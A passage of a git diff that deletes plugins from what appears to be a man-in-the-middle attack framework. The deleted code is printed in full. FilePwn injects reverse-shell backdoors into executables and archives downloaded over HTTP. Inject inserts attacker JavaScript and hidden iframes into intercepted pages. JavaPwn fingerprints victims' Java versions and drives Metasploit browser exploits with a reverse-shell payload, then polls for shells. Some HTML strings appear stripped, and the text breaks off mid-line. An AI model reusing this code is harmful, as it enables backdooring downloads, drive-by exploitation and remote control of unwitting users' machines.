str(request.client.getClientIP()) # add the IP of the client - if self.dic_output['plugin_list'] > 0: - self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') - pretty_output = pformat(self.dic_output) - logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) - - def get_payload(self): - payload = """""" - - return payload diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py deleted file mode 100644 index 646815a..0000000 --- a/plugins/CacheKill.py +++ /dev/null @@ -1,25 +0,0 @@ -from plugins.plugin import Plugin - - -class CacheKill(Plugin): - name = "CacheKill" - optname = "cachekill" - desc = "Kills page caching by modifying headers" - implements = ["handleHeader", "connectionMade"] - has_opts = True - bad_headers = ['if-none-match', 'if-modified-since'] - - def add_options(self, options): - options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") - - def handleHeader(self, request, key, value): - '''Handles all response headers''' - request.client.headers['Expires'] = "0" - request.client.headers['Cache-Control'] = "no-cache" - - def connectionMade(self, request): - '''Handles outgoing request''' - request.headers['Pragma'] = 'no-cache' - for h in self.bad_headers: - if h in request.headers: - request.headers[h] = "" diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py deleted file mode 100644 index 7398a8d..0000000 --- a/plugins/FilePwn.py +++ /dev/null @@ -1,553 +0,0 @@ -################################################################################################ -# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy -################################################################################################# - -""" - BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' - - Author Joshua Pitts the.midnite.runr 'at' gmail com - - Copyright (c) 2013-2014, Joshua Pitts - All rights reserved. - - Redistribution and use in source and binary forms, with or without modification, - are permitted provided that the following conditions are met: - - 1. Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - 2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - 3. Neither the name of the copyright holder nor the names of its contributors - may be used to endorse or promote products derived from this software without - specific prior written permission. - - THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE - LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - POSSIBILITY OF SUCH DAMAGE. - - Tested on Kali-Linux. - -""" - -import sys -import os -import pefile -import zipfile -import logging -import shutil -import random -import string -import tarfile -from libs.bdfactory import pebin -from libs.bdfactory import elfbin -from libs.bdfactory import machobin -from plugins.plugin import Plugin -from tempfile import mkstemp -from configobj import ConfigObj - -class FilePwn(Plugin): - name = "FilePwn" - optname = "filepwn" - implements = ["handleResponse"] - has_opts = False - desc = "Backdoor executables being sent over http using bdfactory" - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - - #FOR FUTURE USE - self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] - - #FOR FUTURE USE - self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] - - #USED NOW - self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, - 'pe': {'number': 'MZ', 'offset': 0}, - 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, - 'bz': {'number': 'BZ', 'offset': 0}, - 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, - 'tar': {'number': 'ustar', 'offset': 257}, - 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, - 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, - 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, - } - - #NOT USED NOW - #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - - self.userConfig = options.configfile['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] - - print "[*] FilePwn plugin online" - - def convert_to_Bool(self, aString): - if aString.lower() == 'true': - return True - elif aString.lower() == 'false': - return False - elif aString.lower() == 'none': - return None - - def bytes_have_format(self, bytess, formatt): - number = self.magicNumbers[formatt] - if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: - return True - return False - - def binaryGrinder(self, binaryFile): - """ - Feed potential binaries into this function, - it will return the result PatchedBinary, False, or None - """ - - with open(binaryFile, 'r+b') as f: - binaryTMPHandle = f.read() - - binaryHeader = binaryTMPHandle[:4] - result = None - - try: - if binaryHeader[:2] == 'MZ': # PE/COFF - pe = pefile.PE(data=binaryTMPHandle, fast_load=True) - magic = pe.OPTIONAL_HEADER.Magic - machineType = pe.FILE_HEADER.Machine - - #update when supporting more than one arch - if (magic == int('20B', 16) and machineType == 0x8664 and - self.WindowsType.lower() in ['all', 'x64']): - add_section = False - cave_jumping = False - if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx64['SHELL'], - HOST=self.WindowsIntelx64['HOST'], - PORT=int(self.WindowsIntelx64['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), - ) - - result = targetFile.run_this() - - elif (machineType == 0x14c and - self.WindowsType.lower() in ['all', 'x86']): - add_section = False - cave_jumping = False - #add_section wins for cave_jumping - #default is single for BDF - if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx86['SHELL'], - HOST=self.WindowsIntelx86['HOST'], - PORT=int(self.WindowsIntelx86['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']) - ) - - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF - - targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - if targetFile.class_type == 0x1: - #x86CPU Type - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx86['SHELL'], - HOST=self.LinuxIntelx86['HOST'], - PORT=int(self.LinuxIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - elif targetFile.class_type == 0x2: - #x64 - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx64['SHELL'], - HOST=self.LinuxIntelx64['HOST'], - PORT=int(self.LinuxIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho - targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE - - if targetFile.FAT_FILE is True: - if self.FatPriority == 'x86': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif self.FatPriority == 'x64': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - return result - - except Exception as e: - print 'Exception', str(e) - logging.warning("EXCEPTION IN binaryGrinder %s", str(e)) - return None - - def tar_files(self, aTarFileBytes, formatt): - "When called will unpack and edit a Tar File and return a tar file" - - print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' - - if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): - print "[!] TarFile over allowed size" - logging.info("TarFIle maxSize met %s", len(aTarFileBytes)) - return aTarFileBytes - - with tempfile.NamedTemporaryFile() as tarFileStorage: - tarFileStorage.write(aTarFileBytes) - tarFileStorage.flush() - - if not tarfile.is_tarfile(tarFileStorage.name): - print '[!] Not a tar file' - return aTarFileBytes - - compressionMode = ':' - if formatt == 'gz': - compressionMode = ':gz' - if formatt == 'bz': - compressionMode = ':bz2' - - tarFile = None - try: - tarFileStorage.seek(0) - tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) - except tarfile.ReadError: - pass - - if tarFile is None: - print '[!] Not a tar file' - return aTarFileBytes - - print '[*] Tar file contents and info:' - print '[*] Compression:', formatt - - members = tarFile.getmembers() - for info in members: - print "\t", info.name, info.mtime, info.size - - newTarFileStorage = tempfile.NamedTemporaryFile() - newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) - - patchCount = 0 - wasPatched = False - - for info in members: - print "[*] >>> Next file in tarfile:", info.name - - if not info.isfile(): - print info.name, 'is not a file' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - if info.size >= long(self.FileSizeMax): - print info.name, 'is too big' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - # Check against keywords - keywordCheck = False - - if type(self.tarblacklist) is str: - if self.tarblacklist.lower() in info.name.lower(): - keywordCheck = True - - else: - for keyword in self.tarblacklist: - if keyword.lower() in info.name.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Tar blacklist enforced!" - logging.info('Tar blacklist enforced on %s', info.name) - continue - - # Try to patch - extractedFile = tarFile.extractfile(info) - - if patchCount >= int(self.userConfig['TAR']['patchCount']): - newTarFile.addfile(info, extractedFile) - else: - # create the file on disk temporarily for fileGrinder to run on it - with tempfile.NamedTemporaryFile() as tmp: - shutil.copyfileobj(extractedFile, tmp) - tmp.flush() - patchResult = self.binaryGrinder(tmp.name) - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(tmp.name) - print "[*] Patching complete, adding to tar file." - info.size = os.stat(file2).st_size - with open(file2, 'rb') as f: - newTarFile.addfile(info, f) - logging.info("%s in tar patched, adding to tarfile", info.name) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - with open(tmp.name, 'rb') as f: - newTarFile.addfile(info, f) - logging.info("%s patching failed. Keeping original file in tar.", info.name) - if patchCount == int(self.userConfig['TAR']['patchCount']): - logging.info("Met Tar config patchCount limit.") - - # finalize the writing of the tar file first - newTarFile.close() - - # then read the new tar file into memory - newTarFileStorage.seek(0) - ret = newTarFileStorage.read() - newTarFileStorage.close() # it's automatically deleted - - if wasPatched is False: - # If nothing was changed return the original - print "[*] No files were patched forwarding original file" - return aTarFileBytes - else: - return ret - - def zip_files(self, aZipFile): - "When called will unpack and edit a Zip File and return a zip file" - - print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' - - if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): - print "[!] ZipFile over allowed size" - logging.info("ZipFIle maxSize met %s", len(aZipFile)) - return aZipFile - - tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) - tmpDir = '/tmp/' + tmpRan - tmpFile = '/tmp/' + tmpRan + '.zip' - - os.mkdir(tmpDir) - - with open(tmpFile, 'w') as f: - f.write(aZipFile) - - zippyfile = zipfile.ZipFile(tmpFile, 'r') - - #encryption test - try: - zippyfile.testzip() - - except RuntimeError as e: - if 'encrypted' in str(e): - logging.info('Encrypted zipfile found. Not patching.') - return aZipFile - - print "[*] ZipFile contents and info:" - - for info in zippyfile.infolist(): - print "\t", info.filename, info.date_time, info.file_size - - zippyfile.extractall(tmpDir) - - patchCount = 0 - - wasPatched = False - - for info in zippyfile.infolist(): - print "[*] >>> Next file in zipfile:", info.filename - - if os.path.isdir(tmpDir + '/' + info.filename) is True: - print info.filename, 'is a directory' - continue - - #Check against keywords - keywordCheck = False - - if type(self.zipblacklist) is str: - if self.zipblacklist.lower() in info.filename.lower(): - keywordCheck = True - - else: - for keyword in self.zipblacklist: - if keyword.lower() in info.filename.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Zip blacklist enforced!" - logging.info('Zip blacklist enforced on %s', info.filename) - continue - - patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) - - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(info.filename) - print "[*] Patching complete, adding to zip file." - shutil.copyfile(file2, tmpDir + '/' + info.filename) - logging.info("%s in zip patched, adding to zipfile", info.filename) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - logging.info("%s patching failed. Keeping original file in zip.", info.filename) - - print '-' * 10 - - if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. - logging.info("Met Zip config patchCount limit.") - break - - zippyfile.close() - - zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) - - print "[*] Writing to zipfile:", tmpFile - - for base, dirs, files in os.walk(tmpDir): - for afile in files: - filename = os.path.join(base, afile) - print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') - zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) - - zipResult.close() - #clean up - shutil.rmtree(tmpDir) - - with open(tmpFile, 'rb') as f: - tempZipFile = f.read() - os.remove(tmpFile) - - if wasPatched is False: - print "[*] No files were patched forwarding original file" - return aZipFile - else: - return tempZipFile - - def handleResponse(self, request, data): - - content_header = request.client.headers['Content-Type'] - client_ip = request.client.getClientIP() - - if content_header in self.zipMimeTypes: - - if self.bytes_have_format(data, 'zip'): - logging.info("%s Detected supported zip file type!" % client_ip) - bd_zip = self.zip_files(data) - if bd_zip: - logging.info("%s Patching complete, forwarding to client" % client_ip) - return {'request': request, 'data': bd_zip} - - else: - for tartype in ['gz','bz','tar']: - if self.bytes_have_format(data, tartype): - logging.info("%s Detected supported tar file type!" % client_ip) - bd_tar = self.tar_files(data) - if bd_tar: - logging.info("%s Patching complete, forwarding to client" % client_ip) - return {'request': request, 'data': bd_tar} - - - elif content_header in self.binaryMimeTypes: - for bintype in ['pe','elf','fatfile','machox64','machox86']: - if self.bytes_have_format(data, bintype): - logging.info("%s Detected supported binary type!" % client_ip) - fd, tmpFile = mkstemp() - with open(tmpFile, 'w') as f: - f.write(data) - - patchb = self.binaryGrinder(tmpFile) - - if patchb: - bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() - os.remove('./backdoored/' + os.path.basename(tmpFile)) - logging.info("%s Patching complete, forwarding to client" % client_ip) - return {'request': request, 'data': bd_binary} - - else: - logging.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header)) - return {'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py deleted file mode 100644 index db4c54c..0000000 --- a/plugins/Inject.py +++ /dev/null @@ -1,164 +0,0 @@ -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr -import time -import re -import sys -import argparse -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill - - -class Inject(CacheKill, Plugin): - name = "Inject" - optname = "inject" - implements = ["handleResponse", "handleHeader", "connectionMade"] - has_opts = True - desc = "Inject arbitrary content into HTML content" - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.html_src = options.html_url - self.js_src = options.js_url - self.rate_limit = options.rate_limit - self.count_limit = options.count_limit - self.per_domain = options.per_domain - self.black_ips = options.black_ips - self.white_ips = options.white_ips - self.match_str = options.match_str - self.html_payload = options.html_payload - - try: - self.proxyip = get_if_addr(options.interface) - if self.proxyip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - - if self.white_ips: - temp = [] - for ip in self.white_ips.split(','): - temp.append(ip) - self.white_ips = temp - - if self.black_ips: - temp = [] - for ip in self.black_ips.split(','): - temp.append(ip) - self.black_ips = temp - - if self.options.preserve_cache: - self.implements.remove("handleHeader") - self.implements.remove("connectionMade") - - if options.html_file is not None: - self.html_payload += options.html_file.read() - - self.ctable = {} - self.dtable = {} - self.count = 0 - self.mime = "text/html" - print "[*] Inject plugin online" - - def handleResponse(self, request, data): - #We throttle to only inject once every two seconds per client - #If you have MSF on another host, you may need to check prior to injection - #print "http://" + request.client.getRequestHostname() + request.uri - ip, hn, mime = self._get_req_info(request) - if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""): - if hn not in self.proxyip: #prevents recursive injecting - data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - self.count += 1 - logging.info("%s [%s] Injected malicious html" % (ip, hn)) - return {'request': request, 'data': data} - else: - return - - def _get_payload(self): - return self._get_js() + self._get_iframe() + self.html_payload - - def add_options(self,options): - options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") - options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") - options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") - group = options.add_mutually_exclusive_group(required=False) - group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") - group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") - group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") - group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") - - def _should_inject(self, ip, hn, mime): - - if self.white_ips is not None: - if ip in self.white_ips: - return True - else: - return False - - if self.black_ips is not None: - if ip in self.black_ips: - return False - else: - return True - - if self.count_limit == self.rate_limit is None and not self.per_domain: - return True - - if self.count_limit is not None and self.count > self.count_limit: - #print "1" - return False - - if self.rate_limit is not None: - if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit: - return False - - if self.per_domain: - return not ip+hn in self.dtable - - #print mime - return mime.find(self.mime) != -1 - - def _get_req_info(self, request): - ip = request.client.getClientIP() - hn = request.client.getRequestHostname() - mime = request.client.headers['Content-Type'] - return (ip, hn, mime) - - def _get_iframe(self): - if self.html_src is not None: - return '' % (self.html_src) - return '' - - def _get_js(self): - if self.js_src is not None: - return '' % (self.js_src) - return '' - - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): - ''' - To use this function, simply pass a list of tuples of the form: - - (string/regex_to_match,html_to_inject) - - NOTE: Matching will be case insensitive unless differnt flags are given - - The pre array will have the match in front of your injected code, the post - will put the match behind it. - ''' - pre_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in pre] - post_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in post] - - for i, r in enumerate(pre_regexes): - data = re.sub(r, "\g"+pre[i][1], data) - - for i, r in enumerate(post_regexes): - data = re.sub(r, post[i][1]+"\g", data) - - return data diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py deleted file mode 100644 index 68c0c2a..0000000 --- a/plugins/JavaPwn.py +++ /dev/null @@ -1,232 +0,0 @@ -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler -from time import sleep -import libs.msfrpc as msfrpc -import string -import random -import threading -import sys -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - -requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message -requests_log.setLevel(logging.WARNING) - - -class JavaPwn(BrowserProfiler, Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit - - try: - msfcfg = options.configfile['MITMf']['Metasploit'] - except Exception, e: - sys.exit("[-] Error parsing Metasploit options in config file : " + str(e)) - - try: - self.javacfg = options.configfile['JavaPwn'] - except Exception, e: - sys.exit("[-] Error parsing config for JavaPwn: " + str(e)) - - self.msfport = msfcfg['msfport'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - - try: - self.msfip = get_if_addr(options.interface) - if self.msfip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - self.black_ips = [] - - try: - msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - msf.login('msf', self.rpcpass) - version = msf.call('core.version')['version'] - print "[*] Successfully connected to Metasploit v%s" % version - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - print "[*] JavaPwn plugin online" - t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) - t.setDaemon(True) - t.start() #start the main thread - - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - - def get_exploit(self, java_version): - exploits = [] - - client_vstring = java_version[:-len(java_version.split('.')[3])-1] - client_uversion = int(java_version.split('.')[3]) - - for ver in self.javacfg['Multi'].items(): - if type(ver[1]) is list: - for list_vers in ver[1]: - - version_string = list_vers[:-len(list_vers.split('.')[3])-1] - update_version = int(list_vers.split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif (client_vstring == version_string): - if client_uversion <= update_version: - exploits.append(ver[0]) - else: - version_string = ver[1][:-len(ver[1].split('.')[3])-1] - update_version = int(ver[1].split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif client_vstring == version_string: - if client_uversion <= update_version: - exploits.append(ver[0]) - - return exploits - - - def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions - #inject iframe - logging.info("%s >> now injecting iframe to trigger exploit" % client_ip) - self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - - logging.info('%s >> waiting for ze shellz, Please wait...' % client_ip) - - exit = False - i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit: - break - shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions - if len(shell) > 0: - for k, v in shell.items(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted - logging.info("%s >> Got shell!" % client_ip) - self.sploited_ips.append(client_ip) #target successfuly exploited :) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit = True - break - sleep(2) - i += 1 - - if exit is False: #We didn't get a shell :( - logging.info("%s >> session not established after 30 seconds" % client_ip) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def send_command(self, cmd, msf, vic_ip): - try: - logging.info("%s >> sending commands to metasploit" % vic_ip) - - #Create a virtual console - console_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [console_id, cmd]) - - logging.info("%s >> commands sent succesfully" % vic_ip) - except Exception, e: - logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) - - def pwn(self, msf): - while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited - - vic_ip = brwprofile['ip'] - - logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) - logging.info("%s >> Choosing exploit based on version string" % vic_ip) - - exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - - if exploits: - - if len(exploits) > 1: - logging.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits))) - exploit = random.choice(exploits) - logging.info("%s >> choosing %s" %(vic_ip, exploit)) - else: - logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0])) - exploit = exploits[0] - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k, v in jobs.items(): - info = msf.call('job.info', [k]) - if exploit in info['name']: - logging.info('%s >> %s already started' % (vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(msf, url, vic_ip) - - else: #here we setup the exploit - rand_port = random.randint(1000, 65535) #generate a random port for the payload listener - rand_url = self.rand_url() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/%s\n" % exploit - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - logging.debug("command string:\n%s" % cmd) - - self.send_command(cmd, msf, vic_ip) - - self.injectWait(msf, rand_url, vic_ip) - else: - #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) - logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip) - logging.info("%s >> falling back to the signed applet attack" % vic_ip) - - rand_url = self.rand_url() - - cmd = "use exploit/multi/browser/java_signed_applet\n" - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - self.send_command(cmd, msf, vic_ip) - self.injectWait(msf, rand_url, vic_ip) - sleep(1) - - def finish(self): - '''This will be called when shutting down''' - msf = msfrpc.Msfrpc({"host": self.rpcip}) - 